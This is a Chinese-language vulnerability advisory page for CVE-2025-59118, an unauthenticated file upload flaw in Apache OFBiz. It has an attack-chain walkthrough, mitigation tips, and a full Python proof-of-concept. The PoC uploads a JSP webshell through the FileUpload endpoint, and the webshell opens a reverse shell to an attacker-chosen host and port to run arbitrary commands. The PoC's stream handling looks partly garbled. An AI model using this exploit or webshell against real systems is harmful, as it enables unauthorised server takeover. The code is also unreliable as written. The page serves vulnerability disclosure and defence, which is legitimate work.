IPBUF安全漏洞报告
English
CVE-2025-59118 CVSS 7.3 高危

CVE-2025-59118 Apache OFBiz危险类型文件无限制上传漏洞

披露日期: 2025-11-12

漏洞信息

漏洞编号
CVE-2025-59118
漏洞类型
文件上传漏洞
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Apache OFBiz

相关标签

文件上传漏洞Apache OFBiz远程代码执行CVE-2025-59118webshell高危漏洞

漏洞概述

CVE-2025-59118是Apache OFBiz中的一个高危安全漏洞,漏洞类型为"危险类型文件的无限制上传"(Unrestricted Upload of File with Dangerous Type)。该漏洞存在于Apache OFBiz 24.09.03之前的版本中,攻击者可以在未经身份验证的情况下上传恶意文件到服务器,从而可能导致远程代码执行。Apache OFBiz是一个开源的企业资源规划(ERP)系统,广泛应用于电子商务和业务流程管理领域。由于该系统通常部署在企业关键业务环境中,此漏洞可能对企业数据安全和业务连续性造成严重威胁。攻击者利用此漏洞可以绕过正常的文件上传限制,上传包含恶意代码的文件(如JSP webshell),进而获取服务器控制权限。Apache官方已于2025年11月12日发布安全公告,建议用户尽快升级到24.09.03或更高版本以修复此漏洞。

技术细节

Apache OFBiz的web控制器在处理文件上传请求时,未对上传文件的类型和内容进行充分的验证。攻击者可以通过构造特殊的HTTP POST请求,将恶意文件(通常为JSP格式的webshell)上传到服务器的可执行目录。该漏洞存在于ofbiz的FileUpload服务中,攻击者可以利用web界面或API接口直接上传文件。由于系统未对上传文件的MIME类型、扩展名和内容进行严格检查,恶意文件可以被保存在web可访问目录下。当用户通过浏览器访问这些上传的恶意文件时,服务器会执行其中的恶意代码,从而触发远程代码执行。攻击者通常会上传包含反弹shell命令的JSP文件,建立与攻击者服务器的连接,获取服务器的完全控制权。此漏洞的利用不需要任何认证凭证,攻击者可以直接通过互联网发起攻击。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站上运行的Apache OFBiz版本,确认其版本低于24.09.03
STEP 2
步骤2: 构造恶意文件
攻击者创建包含恶意代码的JSP webshell文件,该文件能够在服务器上执行任意命令
STEP 3
步骤3: 文件上传
攻击者通过webtools/control/FileUpload等接口发送HTTP POST请求,上传恶意JSP文件
STEP 4
步骤4: 访问恶意文件
攻击者通过浏览器或HTTP请求访问上传的webshell文件路径
STEP 5
步骤5: 执行恶意代码
服务器解析并执行JSP文件中的恶意代码,建立反向shell连接
STEP 6
步骤6: 获取服务器权限
攻击者通过建立的shell连接执行任意命令,完全控制目标服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-59118 Apache OFBiz Unrestricted File Upload PoC Note: This is for educational and authorized testing purposes only """ import requests import sys def exploit_ofbiz(target_url, lhost, lport): """ Exploit Apache OFBiz file upload vulnerability to upload JSP webshell """ # JSP webshell with reverse shell webshell = f''' <%@ page import="java.io.*" %> <%@ page import="java.net.*" %> <% String host = "{lhost}"; int port = {lport}; Socket socket = new Socket(host, port); Process process = Runtime.getRuntime().exec("/bin/bash"); InputStream inputStream = process.getInputStream(); OutputStream outputStream = process.getOutputStream(); DataInputStream dataInputStream = new DataInputStream(inputStream); DataOutputStream dataOutputStream = new DataOutputStream(outputStream); while(true) {{ String command = dataInputStream.readLine(); if(command.equals("exit")) {{ break; }} Process process2 = Runtime.getRuntime().exec(command); BufferedReader reader = new BufferedReader(new InputStreamReader(process2.getInputStream())); String line = ""; while((line = reader.readLine()) != null) {{ dataOutputStream.writeBytes(line + "\\n"); }} dataOutputStream.flush(); }} %> ''' # File upload endpoint (common OFBiz upload location) upload_url = f"{target_url}/webtools/control/FileUpload" # Prepare multipart form data files = { 'uploadedFile': ('shell.jsp', webshell.encode(), 'application/octet-stream') } try: print(f"[*] Attempting to upload webshell to {target_url}") response = requests.post(upload_url, files=files, timeout=10) if response.status_code == 200: print("[+] File uploaded successfully!") print(f"[*] Access the shell at: {target_url}/images/shell.jsp") else: print(f"[-] Upload failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <target_url> <lhost> <lport>") print(f"Example: {sys.argv[0]} http://target.com:8443 192.168.1.100 4444") sys.exit(1) exploit_ofbiz(sys.argv[1], sys.argv[2], sys.argv[3])

影响范围

Apache OFBiz < 24.09.03

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在Web服务器配置中禁止上传目录的脚本执行权限;2) 使用反向代理限制对webtools控制器的访问;3) 实施输入验证机制,对上传文件的MIME类型、扩展名和内容进行严格检查;4) 限制文件上传功能的使用,仅允许受信任的用户访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表